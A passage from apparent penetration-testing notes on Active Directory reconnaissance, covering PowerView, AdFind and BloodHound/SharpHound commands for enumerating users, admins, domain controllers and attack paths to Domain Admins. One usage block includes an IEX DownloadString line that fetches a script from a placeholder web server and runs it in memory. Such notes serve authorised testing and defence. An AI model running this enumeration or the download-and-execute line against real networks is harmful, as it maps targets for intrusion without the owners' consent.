# Retrieves the objects of the specified Organizational Unit.
# Users can be enumerated using Get-ADUser and computers using Get-ADComputer (instead of Get-AdObject).
Get-AdObject -Filter * -SearchBase <OU_DISTINGUISHEDNAME>

# Retrieves the number of (direct) objects in each Organizational Units.
Get-ADOrganizationalUnit -Properties CanonicalName -Filter * | Sort-Object CanonicalName |
ForEach-Object {
    [pscustomobject]@{
        CanonicalName     = $_.CanonicalName
        DistinguishedName = $_.DistinguishedName
        Count             = @(Get-AdObject -Filter * -SearchBase $_.DistinguishedName -SearchScope OneLevel).Count
    }
} | Ft -AutoSize

# ADSI / NET.

$objects = ([adsisearcher]"objectclass=organizationalunit")
$objects.PropertiesToLoad.AddRange("CanonicalName")
$objects.findall().properties.canonicalname
```

### Computers

**Computer details**

To retrieve specific computer information or list the computers in the domain, the following commands can be used:

```
# Active-Directory module.
Get-ADComputer <IDENTITY> -Properties * # IDENTITY: Computer distinguished name (DN), GUID, SID or SamAccountName
Get-ADComputer -Filter * -Property * # All computers, all properties
Get-ADComputer -Filter * -Properties IPv4Address | FT Name,DNSHostName,IPv4Address -A
Get-ADComputer -Filter * -Property * | Export-CSV ADcomputerslist.csv -NoTypeInformation -Encoding UTF8
Get-ADComputer -Filter {(OperatingSystem -like "*windows*") -and (Enabled -eq "True")} -Properties OperatingSystem | Sort OperatingSystem | Ft DNSHostName, OperatingSystem
# EoL operating systems.
Get-ADComputer -Filter {Enabled -eq "True"} -Properties OperatingSystem | ? { $_.OperatingSystem -Match "Windows NT|Windows 2000 Server|Windows Server 2003|Windows Server 2008|Windows XP|Windows 7"} | Sort OperatingSystem | Ft DNSHostName, OperatingSystem

# PowerView.
Get-NetComputer [[-ComputerName] <String>] [[-SPN] <String>] [[-OperatingSystem] <String>] [[-ServicePack] <String>] [[-Filter] <String>] [-Printers] [-Ping] [-FullData] [[-Domain] <String>] [[-DomainController] <String>] [[-ADSpath] <String>] [[-SiteName] <String>] [-Unconstrained] [[-PageSize] <Int32>] [[-Credential] <PSCredential>]
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer -ComputerName <COMPUTERNAME>
Get-NetComputer -ComputerName <COMPUTERNAME> -Domain <DOMAIN> -DomainController <DC>
Get-NetComputer -Ping

# AdFind.exe.
# The filter below can be used to only retrieve the SAMAccountName, DNSHostName, operating system, and PrimaryGroupID of the computer objects.
AdFind.exe -f (objectcategory=computer) [sAMAccountName dNSHostName operatingSystem primaryGroupID]

# Retrieves either the active or inactive computes using the built-in aliases.
# Computers are considered active if the machine account is enabled and its password last set and lastlogontimestamp attributes are <= 90 days.
AdFind.exe -sc [computers_active | computers_inactive] [sAMAccountName dNSHostName operatingSystem primaryGroupID]
```

**Computer search**

To search for computers the following commands can be used:

```
# Active-Directory module
Get-ADComputer -Filter <FILTER> # ex: 'Description -like "*NAME*"'
Get-ADComputer -SearchBase "CN=Computers,<DOMAIN_ROOT_OBJECT>"

# PowerView
Get-NetComputer -ComputerName <COMPUTERNAME> # wildcard accepted
Get-NetComputer -SPN <SPN> # wildcard accepted
Get-NetComputer -OperatingSystem <OS> # wildcard accepted
Get-NetComputer -Filter <FILTER> # ex: "(description=*admin*)"
Get-NetComputer -ADSpath <PATH> # ex: "LDAP://OU=Computers,<DOMAIN_ROOT_OBJECT>"

# AdFind.exe
AdFind.exe -sc c:<MACHINE_SAMACCOUNTNAME>
```

**Domain Controllers**

To list the domain controllers in the current or specified domain or forest, the following commands can be used:

```
# PowerShell ADSI.
[DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select-Object Name,IPAddress

# CMD
net group "Domain Controllers" /domain
nltest /dclist:<DOMAIN>

# Active-Directory module
Get-ADDomainController -Filter *
Get-ADGroupMember 'Domain Controllers'
Get-ADComputer -LDAPFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
(Get-ADForest).Domains | %{ Get-ADDomainController -Filter * -Server $_ } # All DC for all domains in current forest

# PowerView - returns domain controllers for the active or specified domain
Get-NetDomainController [[-Domain] <String>] [[-DomainController] <String>] [-LDAP]  [[-Credential] <PSCredential>]
Get-NetDomainController
Get-NetDomainController -Domain <DOMAIN>

# AdFind.exe
# Lists the fully qualified domain name of the Domain Controllers in the domain.
# "dclist:!rodc" / "dclist:rodc" can be used to limit the listing to, respectively, writable or read-only Domain Controllers.
AdFind.exe -sc dclist
# Enumerates all the attributes of the Domain Controllers in the domain.
AdFind.exe -sc dcdmp
```

**Exchange servers**

To list the Exchange servers of the current or specified domain or forest, the following commands can be used:

```
Get-ADComputer -LDAPFilter "(objectCategory=msExchExchangeServer)"
AdFind.exe -f (objectCategory=msExchExchangeServer)

Get-ADGroup "Exchange Trusted Subsystem" | Get-ADGroupMember
Get-ADGroup "Exchange Trusted Subsystem" -Server <DC_IP> -Credential <PSCredential> | Get-ADGroupMember
```

**Sites and subnets**

The sites and subnets registered in Active Directory can provide information about the network topology and physical location of computers of the environment.

The sites and subnets can be listed, and exported in a text format, using the `Active Directory Sites and Services` snap-in (`dssite.msc`). The snap-in can be used for enumeration from domain-joined and non-domain joined machine.

```
File -> Add/Remove Snap-in (Ctrl + M) -> Selection of Active Directory Sites and Services
  -> Sites -> Subnets -> Right Click -> Export List...
```

The PowerShell cmdlet `Get-ADReplicationSubnet` of the `ActiveDirectory` module can also be used to enumerate the subnets:

```
Get-ADReplicationSubnet -Server <DC_HOSTNAME | DC_IP> [-Credential <PSCredential>] -Filter * -Properties * | Select-Object Name, Site, Location, Description
```

**ADI DNS hostnames enumeration**

[`adidnsdump`](https://github.com/dirkjanm/adidnsdump) can be used to enumerate all `DNS records` in an Active Directory domain / forest by listing the child objects of the `DNS zones` containers and then using direct `DNS` queries to resolve the enumerated `DNS records`. Using a direct `DNS` resolution is required as the attributes of the `DNS record` object itself, including the associated `IP` address, may not be accessible to any authenticated users, while the name of the record (and thus the corresponding hostname) is.

Leveraging `DNS` records instead of retrieving the `dNSHostName` attribute of machine account objects provide the advantage of allowing enumeration of systems that may have a DNS entry in the domain but are not directly joined to it.

```bash
# -r: resolve DNS records for which the associated IP address was not accessible with LDAP query through direct DNS queries.
adidnsdump -u <DOMAIN>\\<USERNAME> [--print-zones | -r] <DC_HOSTNAME>
```

**Network scan**

AD queries can be used in combination with a network scan tool, such as nmap, to quickly identity computers running specific services.

Example for quickly gathering the servers and computers running SMB, which could be used for lateral movement:

```
Get-ADComputer -Server <DC> -Filter  * | Ft DNSHostName | Out-File -filepath <ADOUTFILE>
nmap -v -p 445 -oG nmap_ad_servers_445.gnmap -iL <ADOUTFILE>
grep Up nmap_ad_servers_445.gnmap | cut -d ' ' -f 2 > <ADOUTFILE445>
```

### Users

**User details**

To retrieve specific user information or list the users in the domain, the following commands can be used:

```
# Active-Directory module
Get-ADUser <IDENTITY> -Properties * # IDENTITY: User distinguished name (DN), GUID, SID or SamAccountName
Get-ADUser -Filter * -SearchBase "OU=Finance,OU=UserAccounts,DC=FABRIKAM,DC=COM"
Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A

Get-ADUser -Properties * -Filter 'SIDHistory -like "*"'

# Users that can have an empty password (may be overwritten by a GPO): "useraccountcontrol"'s "PASSWD_NOTREQD" field set to "True".
Get-ADUser -LDAPFilter "(&(objectCategory=Person)(objectClass=User)(userAccountControl:1.2.840.113556.1.4.803:=32))"

# PowerView
Get-NetUser [[-Identity] <String>] [-Domain <String>] [-Server <String>] [-ADSpath <String>] [-Filter <String>] [-SPN] [-AdminCount] [-Unconstrained] [-AllowDelegation] []

# IDENTITY: SamAccountName, DistinguishedName, SID, GUID, or wildcard.
Get-NetUser -Identity <IDENTITY>
Get-NetUser -Domain <DOMAIN> -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <IDENTITY>

Get-NetUser -ADSpath "LDAP://<DISTINGUISHEDNAME>"

# FILTER example: "(description=*admin*)".
Get-NetUser -Filter <FILTER>
# Enabled users.
Get-NetUser -Filter "(!userAccountControl:1.2.840.113556.1.4.803:=2)"
# Users that do not require Smart Card authentication.
Get-NetUser -Filter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)"

# AdFind.exe
AdFind.exe -f (objectcategory=user)
AdFind.exe -list -f (objectcategory=person) sAMAccountName
```

**User search**

To search for users the following commands can be used:

```
# Active-Directory module - Get-ADUser
Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A
Get-ADUser -Filter * -SearchBase "OU=Finance,OU=UserAccounts,<DOMAIN_ROOT_OBJECT>"

# PowerView - Get-NetUser
Get-NetUser -Identity <USERNAME> # wildcard accepted
Get-NetUser -Filter <FILTER> # ex: "(description=*admin*)"
Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"

# AdFind.exe
AdFind.exe -sc u:<SAMACCOUNTNAME>
```

**Enterprise and Domain Admins**

The following queries list the `Domain Administrators` and / or the current and past privileged users (users that have their `adminCount` attribute set to `1`) of the domain:

```
# CMD
# dsquery / dsget require the RSAT to be installed on the system.
dsquery group -name "Domain Admins" | dsget group -members -expand
# net group enumerates Global security group while net
net group "<GROUPNAME>  " /domain

# Privileged users
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"

# Members of the "Enterprise Admins" group. EA group name may vary.
Get-ADGroupMember -Identity "Enterprise Admins" -Recursive

# Members of the "Domain Admins" group. DA group name may vary.
Get-ADGroupMember "Domain Admins" -Recursive

# PowerView
Get-NetUser -AdminCount # users with adminCount=1.

# AdFind.exe
AdFind.exe -sc admincountdmp
```

To check if the current user is a Domain Admin, a listing of the "C:" drive of a domain controller can be attempted:

```
dir \\<DC>\C$
```

**Privileged users**

The PowerShell script below can be used to list the members of the privileged domain groups.

The members of these groups can ultimately compromise the domain. Refer to the `[ActiveDirectory] Operators to Domain Admins` note for more information on the privilege escalation possibilities.

```
# Targeted privileged groups: "Domain Admins" (-512), "Enterprise Admins" (-519), "Administrators" (-544), "Backup Operators" (-551), "DNS Admins" (> 1000), "Print Operators" (-550), "Server Operators" (-549), "Account Operators" (-548), "Schema Admins" (-518)

$ForestSID = (Get-ADForest).RootDomain | %{ (Get-ADDomain -Server $_).DomainSID }
$DomainSID = (Get-ADDomain).DomainSID

$EnterpriseAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $ForestSID)
$DomainAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)
$AdministratorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)
$BackupOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)
$ServerOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)
$AccountOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)
$SchemaAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)

Get-ADGroup -Filter {(SID -eq $DomainAdminsSid) -or (SID -eq $EnterpriseAdminsSID) -or (SID -eq $AdministratorsSID) -or (SID -eq $BackupOperatorsSID) -or (SID -eq $DnsAdminsSID) -or (SID -eq $PrintOperatorsSID) -or (SID -eq $ServerOperatorsSID) -or (SID -eq $AccountOperatorsSID) -or (SID -eq $SchemaAdminsSID)} | Get-ADGroupMember -Recursive | Sort-Object | Get-Unique
```

### Groups

**Enumerate groups**

The following commands can be used to enumerate the domain groups and the members of a specific group:

```
# CMD
net group /domain

# Active-Directory module
# IDENTITY: Group distinguished name (DN), GUID, SID or SamAccountName
Get-ADGroup -Filter *
Get-ADGroup -Identity <IDENTITY>
Get-ADGroup -Identity <IDENTITY> -Properties member | Select-Object -expandProperty member
Get-ADGroup -Filter 'GroupCategory -eq "Security" -and GroupScope -ne "DomainLocal"'
Get-ADGroup -SearchBase "OU=secret,<DOMAIN_ROOT_OBJECT>"

Get-ADGroupMember -Recursive -Identity <IDENTITY>

# PowerView
Get-NetGroup [[-GroupName] <String>] [[-SID] <String>] [[-UserName] <String>] [[-Filter] <String>] [[-Domain] <String>] [[-DomainController] <String>] [[-ADSpath] <String>] [-AdminCount] [-FullData] [[-Credential] <PSCredential>]
Get-NetGroup -GroupName <GROUPNAME> # supports wildcards
Get-NetGroup -Filter <FILTER> # example: "(description=*admin*)" / "(description=*<USERNAME>*)"
Get-NetGroup -GroupName *admin* -AdminCount
Get-NetGroup -ADSpath <PATH> # example: "LDAP://OU=secret,DC=testlab,DC=local"
```

**User's groups**

The following commands can be used to retrieve the groups the specified user is member of:

```
# Active-Directory module
Get-ADPrincipalGroupMembership <IDENTITY> # IDENTITY: Group distinguished name (DN), GUID, SID or SamAccountName
Get-ADUser <IDENTITY> | Get-ADPrincipalGroupMembership
Get-ADUser -Server <DC> <IDENTITY> | Get-ADPrincipalGroupMembership
Get-ADPrincipalGroupMembership <IDENTITY> | Where-Object {$_.name -like '*adm*'}

# PowerView
Get-NetGroup -UserName <USERNAME>
```

**Local groups**

The following commands can be used to enumerate the local groups on a specific computer:

```
# PowerView
Get-NetLocalGroup [[-ComputerName] <String[]>] [-ComputerFile <String>] [-GroupName <String>] [-ListGroups] [-Recurse] [<CommonParameters>]
Get-NetLocalGroup -ListGroups -Recurse
Get-NetLocalGroup # Defaults to list the members of the "Administrators" groups
Get-NetLocalGroup  -GroupName <GROUPNAME> # Query the users of the specified local group
```

### Unconstrained Kerberos delegation

The following commands can be used to retrieve the computers and service account making uses of unconstrained Kerberos delegation:

```
# Unconstrained Delegation: TrustedForDelegation = True
# Constrained Delegation: TrustedToAuthForDelegation = True
# Domain Computers: primaryGroupID = 515 (516 & 521 are used for Domain Controllers)

Get-ADComputer -Filter {(TrustedForDelegation -eq $True) -and (PrimaryGroupID -eq 515)} -Properties ServicePrincipalName,TrustedForDelegation,TrustedToAuthForDelegation,Description
```

### Search by Security Identifier

Active Directory objects can be searched by their `Security Identifier (SID)` using the following PowerShell cmdlets:

```
Get-ADObject -Filter "objectSid -eq '<SID>'"
```

### Group Policy (GPO)

The `Grouper2` C# application can be used to enumerate a number of sensible parameters as well as access rights on the GPO object themselves and the associated GPO files (in the `SYSVOL` directory of Domain Controllers):

```
Grouper2.exe -g -f <OUTPUT_HTML_FILE>
Grouper2.exe -d "<DOMAIN>" -u "<USERNAME>" -p "<PASSWORD>" -s "\\<DC_HOSTNAME | DC_IP>\SYSVOL" -g -f <OUTPUT_HTML_FILE>
```

The following PowerShell script can be used to generate `XML` and `HTML` reports of all the `GPO` defined in the current domain:

```
$OutputFolder = "<OUTPUT_FOLDER>"

$GpoList = Get-GPO -All
foreach ($GPO in $GpoList){
    Get-GPO -GUID $GPO.id
    Get-GPOReport -GUID $GPO.id -ReportType XML -Path "$OutputFolder\$($GPO.DisplayName).xml"
    Get-GPOReport -GUID $GPO.id -ReportType HTML -Path "$OutputFolder\$($GPO.DisplayName).html"
}
```

***

### References

<https://www.alitajran.com/get-organizational-units-with-powershell/>


# Recon - AD scanners

### BloodHound

`BloodHound` uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. `BloodHound` can be used to easily identify highly complex attack paths that would otherwise be impossible to quickly identify.

The official installation procedure is available on the `GitHub` repository: `https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started`

**BloodHound ingestors**

*SharpHound*

`SharpHound` is a C# data ingestor used by `BloodHound` to enumerate the Active Directory targeted domain. A PowerShell script `SharpHound.ps1`, in-lining the C# DLL, is available as well.

By default, `SharpHound` will output multiples JSON files in a compressed zip archive file that can directly be imported for graphical review and query in `BloodHound`.

Multiples collection methods are available:

| CollectionMethod | Description                                                                                                                                                                                  |
| ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Default          | Performs group membership collection, domain trust collection, local admin collection, and session collection                                                                                |
| Group            | Performs group membership collection                                                                                                                                                         |
| LocalAdmin       | Performs local admin collection                                                                                                                                                              |
| LocalGroup       | Performs local groups collection. No longer uses the `NetLocalGroupGetMembers` Windows API, rely instead on lower-levels API calls to the `SAMRPC` library to access the remote computer SAM |
| RDP              | Performs Remote Desktop Users collection                                                                                                                                                     |
| DCOM             | Performs Distributed COM Users collection                                                                                                                                                    |
| GPOLocalGroup    | Performs local admin collection using Group Policy Objects                                                                                                                                   |
| Session          | Performs session collection                                                                                                                                                                  |
| ComputerOnly     | Performs local admin, RDP, DCOM and session collection                                                                                                                                       |
| LoggedOn         | Performs privileged session collection (requires admin rights on target systems)                                                                                                             |
| Trusts           | Performs domain trust enumeration                                                                                                                                                            |
| ACL              | Performs collection of ACLs                                                                                                                                                                  |
| Container        | Performs collection of Containers                                                                                                                                                            |
| DcOnly           | Performs collection using LDAP only. Includes Group, Trusts, ACL, ObjectProps, Container, and GPOLocalGroup.                                                                                 |
| All              | Performs all Collection Methods except GPOLocalGroup                                                                                                                                         |

Usage:

```bash
# PowerShell SharpHound.ps1 collector.
# The SharpHound.ps1 PowerShell collector script in-lines the SharpHound C# DLL.
# Multiple ways can be used to import or directly inject into memory the SharpHound.ps1 script.
Import-Module SharpHound.ps1

IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/SharpHound.ps1');

(New-Object System.Net.WebClient).Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');

Invoke-Bloodhound -Verbose -CollectionMethod <all | DcOnly | COLLECTION_METHOD>
Invoke-Bloodhound -Verbose -Domain '<DOMAIN_FQDN>' -DomainController '<DC_IP | DC_HOSTNAME>' -LDAPUsername '<USERNAME>' -LDAPPassword '<PASSWORD>' -CollectionMethod <all | DcOnly | COLLECTION_METHOD>

# C# SharpHound.exe collector.
SharpHound.exe -v -c <all | DcOnly | COLLECTION_METHOD>
SharpHound.exe -v --Domain '<DOMAIN_FQDN>' --domaincontroller '<DC_IP | DC_HOSTNAME>' --ldapusername '<USERNAME>' --ldappassword '<PASSWORD>' -c <all | DcOnly | COLLECTION_METHOD>
```

*BloodHound.py*

`bloodhound-python.py` is a Python based ingestor for `BloodHound`, based on the `Impacket` suite and only compatible with `BloodHound 3.0`, or newer versions. `bloodhound-python.py` presents the main advantage of being usable on Linux systems and thus easily integrates with `proxychains` for pivoted Active Directory enumeration.

`bloodhound-python.py` supports most of `SharpHound` collect methods, specified above, except `GPOLocalGroup` and `LocalGroup`.

```bash
bloodhound-python -v -CollectionMethod  <all | DcOnly | <COLLECTION_METHOD>

# The specified domain controller must be a hostname. The -ns must be specified to a DNS server IP if the DC hostname is not resolved by the local system.
# --dns-tcp: The DNS queries will be made over TCP instead of UDP, useful to enumerate over SOCKS4 proxies which do not support the UDP protocol.
bloodhound-python -v --dns-tcp -dc <DC_HOSTNAME> -ns <DNS_SERVER_IP> -d <DOMAIN_FQDN> -u <USERNAME> [-p <PASSWORD> | --hashes ':<NTLM>'] -CollectionMethod  <all | DcOnly | <COLLECTION_METHOD>
```

*Sysinternals's AdExplorer and ADExplorerSnapshot.py*

Active Directory domain snapshots taken with `AdExplorer` can be converted to `JSON` files supported by `BloodHound` using the [`ADExplorerSnapshot.py`](https://github.com/c3c/ADExplorerSnapshot.py) Python script. `AdExplorer` can thus be used as an ingestor for `BloodHound`. Refer to the `[ActiveDirectory] Recon - Domain Recon` note for more information on `AdExplorer`.

A few limitations are however to be noted:

* the snapshot only contains information on Active Directory objects (assimilable to a `DcOnly` collection made with `SharpHound`).
* `Organizational Units` and `Group Policy Objects` information will be missing.

```
ADExplorerSnapshot.py [-o <OUTPUT_FOLDER>] <ADEXPLORER_SNAPSHOT>
```

The resulting `JSON` files can be imported normally through the `BloodHound` graphical interface.

**Multiple Neo4j databases to handle different environments**

The [`Neo4j Desktop`](https://neo4j.com/download/) application can be used to create and manage multiple databases. Due to `Neo4j Community` limitations, the usage of the thick client is required as having multiple databases is otherwise a feature of the `Enterprise` edition (as of 2022-01). Using multiple databases present the notable advantage of allowing oneself to work on different environments without requiring clears of the database and data reuploads.

The procedure to create multiple Neo4j databases through the `Neo4j Desktop` application is as follow:

1. Create a new project: `Projects (left menu) -> New`.
2. Adds a `Local DBMS` per environment, forest or domain (depending on the level of separation wished): `Newly created project right panel -> (+) Add -> Local DBMS`. The name specified for the `DBMS` can match the environment / forest / domain (for example), and the password should be identical between `DBMS`.

   Each `Local DBMS` will be composed of the default `system` and `neo4j` databases.
3. Switch between `DBMS` (`Mouse over the DBMS in the project right panel -> Start`) and add data as needed through the `BloodHound` interface.

Once the different databases are populated, simply starting a `DBMS` through the `Neo4j Desktop` application allows to switch to a different environment in `BloodHound` (without having to login / logoff or restart `BloodHound`).

**BloodHound GUI**

The following commands can be used to start `BloodHound`. The default neo4j credentials are `neo4j:neo4j` and must be changed for the first login.

```bash
# Windows
net start neo4j
.\BloodHound.exe

# Linux
# "neo4j start" may lead to errors if executed as non root account.
neo4j start
neo4j console

bloodhound
```

The zip archive files produced by `SharpHound` can simply be drag and dropped in the `BloodHound` graphical interface for treatment. The `Upload` button on the right may be used as well.

**BloodHound / Neo4j Cypher queries**

*Neo4j Cyper 101*

The `Neo4j` graph databases implements its own query language: `Cypher`. Raw `Cypher` queries can be made directly through the `BloodHound` GUI interface, in complement to the predefined `BloodHound` queries. Queries may also be executed through the `Neo4j` console (by default accessible using the `Neo4j` web interface at `http://localhost:7474/browser/`). The `Neo4j` console automatically display by default all the edges between nodes, which may be useful in some case but is more resources intensive.

`Cypher` is a "visual" language modeling a starting and ending nodes, linked by an edge. Queries are constructed using parenthesis, brackets, and arrow, with a very basic query looking like:

```
(StartNode)-[IsConnectedTo]->(EndNode)
```

`Cypher` implements two basic clauses, `MATCH` and `RETURN`:

* The `MATCH` clause specify the patterns `Neo4j` will search for in the database. `MATCH` is often coupled to a `WHERE` conditional statement that adds restrictions to the data retrieved.
* The `RETURN` clause defines what to include in the query result set, which can be nodes, relationships, or nodes / relationships properties.

The relationship type and depth can be specified inside the brackets. For instance, the following link `-[r:MemberOf]->` specify that the starting node should be a direct member of the group ending node, while the link `-[r:MemberOf*1..]->` indicate that the `MemberOf` relationship may repeat any number of time and thus the starting node may be recursively a member of the group ending node.

`Neo4j` `Cypher` also implements the `shortestPath` and `allShortestPaths` functions that return, respectively, the shortest path and all the shortest paths (all paths with the same minimal amount of hops) from a starting node, or set of nodes, to an ending node, or set of nodes.

The following basic queries illustrate the use of the `MATCH` and `RETURN` clauses as well as the linking syntax:

```
# Returns all Nodes in the database
MATCH (X) RETURN X

# Returns all domain in the database (and their relationships if executed through the Neo4j console)
MATCH (X:Domain) RETURN X
# With relationships from BloodHound GUI
MATCH p=(n:Domain)-[r]-(m:Domain) RETURN p

# Returns all users in the database
MATCH (X:User) RETURN X

# Returns all groups in the database
MATCH (X:Group) RETURN X

# Returns all computers in the database
MATCH (X:Computer) RETURN X

# Returns all OU in the database
MATCH (X:OU) RETURN X

# Returns all GPO in the database
MATCH (X:GPO) RETURN X

# Return the <OBJECT> (User, Group, Computer, OU or GPO) <NAME> (SAMACCOUNTNAME@DOMAIN_FQDN). Both queries are equivalent.
MATCH (n:<OBJECT> {name:"<NAME>"}) RETURN n
MATCH (n:<OBJECT>) WHERE n.name = "<NAME>" RETURN n

# Return the security principals directly member of the specified group <GROUP> (SAMACCOUNTNAME@DOMAIN_FQDN)
MATCH p=(n)-[b:MemberOf]->(c:Group {name: "<GROUP>"}) RETURN p

# Return all the security principals recursively member of the specified group <GROUP> (SAMACCOUNTNAME@DOMAIN_FQDN)
MATCH p=(n)-[b:MemberOf*1..]->(c:Group {name: "<GROUP>"}) RETURN p

# Return the names of the groups the specified user is a member of.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH p=(u)-[b:MemberOf*1..]->(g:Group) RETURN g.name

# Return the path of the specified relationship type from any object to any objects
MATCH p=()-[r:<RELATIONSHIP>*1..]->() RETURN p

# Return shortest path from the Domain Users group to Domain Admins group
MATCH (g:Group) WHERE g.name =~ 'DOMAIN USERS@.*' MATCH (g1:Group) WHERE g1.name =~ 'DOMAIN ADMINS@.*' OPTIONAL MATCH p=shortestPath((g)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(g1)) RETURN p

# Return all shortest paths from Domain Users to Domain Admins
MATCH (g:Group) WHERE g.name =~ 'DOMAIN USERS@.*' MATCH (g1:Group) WHERE g1.name =~ 'DOMAIN ADMINS@.*' OPTIONAL MATCH p=allShortestPaths((g)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(g1)) RETURN p
```

The following operators are supported in the conditional `WHERE` statements:

| Operator    | Definition                      |
| ----------- | ------------------------------- |
| NOT         | Negate the subsequent condition |
| =           | Is equal to                     |
| <>          | is different to                 |
| <           | Is less than                    |
| <=          | Is less or equal                |
| >           | Greater than                    |
| >=          | Is greater or equal to          |
| IS NULL     | Is null                         |
| IS NOT NULL | Is not null                     |
| STARTS WITH | String starts with              |
| ENDS WITH   | String ends with                |
| CONTAINS    | String contains                 |
| =\~         | String RegEx search             |

The relationship between nodes can be of the following types:

* `AddAllowedToAct`
* `AddMember`
* `AdminTo`
* `AllExtendedRights`
* `AllowedToAct`
* `AllowedToDelegate`
* `CanPSRemote`
* `CanRDP`
* `Contains`
* `ExecuteDCOM`
* `ForceChangePassword`
* `GenericAll`
* `GenericWrite`
* `GetChanges`
* `GetChangesAll`
* `GPLink`
* `HasSession`
* `HasSIDHistory`
* `Owns`
* `MemberOf`
* `ReadGMSAPassword`
* `ReadLAPSPassword`
* `SQLAdmin`
* `TrustedBy`
* `WriteDACL`
* `WriteOwner`

For more information about the `Neo4j` `Cypher` language, its use in `BloodHound` and `BloodHound` in general, the following resource may be consulted:

```
https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf#page=45&zoom=100,92,390
```

*BloodHound built-in Cypher queries*

`BloodHound` implements a number of `Cypher` queries, titled:

* Find all Domain Admins
* Find Shortest Paths to Domain Admins
* Find Principals with DCSync Rights
* Users with Foreign Domain Group Membership
* Groups with Foreign Domain Group Membership
* Map Domain Trusts
* Shortest Paths to Unconstrained Delegation Systems
* Shortest Paths from Kerberoastable Users
* Shortest Paths to Domain Admins from Kerberoastable Users
* Shortest Path from Owned Principals
* Shortest Paths to Domain Admins from Owned Principals
* Shortest Paths to High Value Targets
* Find Computers where Domain Users are Local Admin
* Find Computers where Domain Users can read LAPS passwords
* Shortest Paths from Domain Users to High Value Targets
* Find All Paths from Domain Users to High Value Targets
* Find Workstations where Domain Users can RDP
* Find Servers where Domain Users can RDP
* Find Dangerous Rights for Domain Users Groups
* Find Kerberoastable Members of High Value Groups
* List all Kerberoastable Accounts
* Find Kerberoastable Users with most privileges
* Find Domain Admin Logons to non-Domain Controllers
* Find Computers with Unsupported Operating Systems
* Find AS-REP Roastable Users (DontReqPreAuth)

*Custom Cypher queries*

Most of the queries below are from, or inspired from, previous work made by `@Haus3c`.

The following queries were validated in the `Neo4j` console.

```
# Kerberoasting.
# Find all users with an SPN (kerberoastable users).
MATCH (n:User) WHERE n.hasspn=true RETURN n

# Find all users with an SPN (kerberoastable users) with passwords last set > 5 years ago.
MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset

# Find SPNs all users with an SPN containing the specified keywords <KEYWORD>.
MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS '<KEYWORD>')RETURN u

# AS_REP roasting.
# Find all users that do not require Kerberos pre-authentication SPN (AS_REP roastable users).
MATCH (n:User) WHERE n.dontreqpreauth=true RETURN n

# Computers using an unsupported operating system, with a logon in the last 6 months.
MATCH (c:Computer) WHERE c.operatingsystem =~ "(?i).*(2000|2003|2008|xp|vista|7|me).*" AND (c.lastlogontimestamp < (datetime().epochseconds - (6 * 30 * 86400)) OR c.lastlogon < (datetime().epochseconds - (6 * 30 * 86400))) RETURN c.name,c.operatingsystem

# Sessions enumeration.
# Domains Admins and Enterprise Admins sessions opened on computers except Domain Controllers.
